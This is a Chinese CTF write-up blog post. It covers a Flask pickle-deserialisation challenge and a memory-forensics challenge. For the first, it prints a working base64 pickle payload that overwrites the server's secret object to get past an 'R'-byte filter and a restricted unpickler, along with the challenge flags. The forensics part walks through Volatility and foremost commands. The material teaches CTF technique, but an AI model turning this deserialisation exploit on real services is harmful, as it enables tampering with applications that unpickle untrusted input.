源自最近的高校战“疫”网络安全分享赛
一道fllask题,实际上是考察python的pickle模块序列化问题,上来就给源码,关键如下:
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct)
实际上就是让我们反序列化一个Animal类然后使该对象的name和category属性和secret内的两个属性的值吻合即可getflag,但这道题做了一个限制,限制了b'R'
也就是我们的exp解码后不能有R字符,也就限制了一些函数的使用。并且RestrictedUnpickler
函数使得我们只能使用mian中模块。
一开始尝试各种绕过发现没办法,试了一下导入secret然后再覆盖secret变量的值发现成功了。
exp:
Y19fbWFpbl9fCkFuaW1hbApwMAowKGcwClMnbmFtZScKUydjYXRlZ29yeScKb3AxCjBjX19tYWluX18Kc2VjcmV0CnAyCjBnMgoofShTJ25hbWUnClMnbmFtZScKZHRiZzIKKH0oUydjYXRlZ29yeScKUydjYXRlZ29yeScKZHRiZzEKLg==
base64:
b"c__main__\nAnimal\np0\n0(g0\nS'name'\nS'category'\nop1\n0c__main__\nsecret\np2\n0g2\n(}(S'name'\nS'name'\ndtbg2\n(}(S'category'\nS'category'\ndtbg1\n."
flag{409ed945-5b77-4ec3-97e1-b395778842ba}
pickle参考p神文章进行构造: https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html
流量包先用wireshark导出几个文件,有一个upload_file.php放入foremost中分离文件,抽出data.vmem,下一步进行取证分析,
volatility -f 1.vmem imageinfo
查看信息,获得推荐配置文件WinXPSP2x86
volatility -f 1.vmem WinXPSP2x86 pslist
查看进程,如下(部分):
0xff445020 services.exe 668 492 16 253 0 0 2020-02-23 13:17:14 UTC+0000
0xff46b020 lsass.exe 680 492 19 309 0 0 2020-02-23 13:17:14 UTC+0000
0xff510bf0 vmacthlp.exe 836 668 1 25 0 0 2020-02-23 13:17:14 UTC+0000
0xff493568 svchost.exe 848 668 14 189 0 0 2020-02-23 13:17:14 UTC+0000
0xff491a78 svchost.exe 932 668 11 230 0 0 2020-02-23 13:17:14 UTC+0000
0xff416b10 svchost.exe 1024 668 44 939 0 0 2020-02-23 13:17:14 UTC+0000
0x80dac020 svchost.exe 1072 668 4 57 0 0 2020-02-23 13:17:14 UTC+0000
volatility -f 1.vmem WinXPSP2x86 cmdscan
能看见:
> #0 @ 0x3609ea0: passwd:weak_auth_top100
> Cmd #1 @ 0x5576d0: start wireshark
> Cmd #13 @ 0x9f009f: ??
> Cmd #41 @ 0x9f003f: ?\?????????
这里得到一个密码目测是压缩包用的,所以下一步找找有没有压缩包之类的东西,用filescan没找到,于是尝试把全部进程dump下来后
volatility -f 1.vmem --profile=WinXPSP2x86 memdump --dump-dir=/home/ctf/dmp
使用foremost配合通匹符*进行文件一键分离
foremost -i ./dmp/*
得到4个压缩包一个一个尝试weak_auth_top100,其内usbdata文件包含如下格式的内容:
00:00:09:00:00:00:00:00 00:00:08:00:00:00:00:00 00:00:26:00:00:00:00:00
为usb键盘流量包,网上找到脚本爆出flag:
flag{69200835784ec3ed8d2a64e73fe913c0}
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/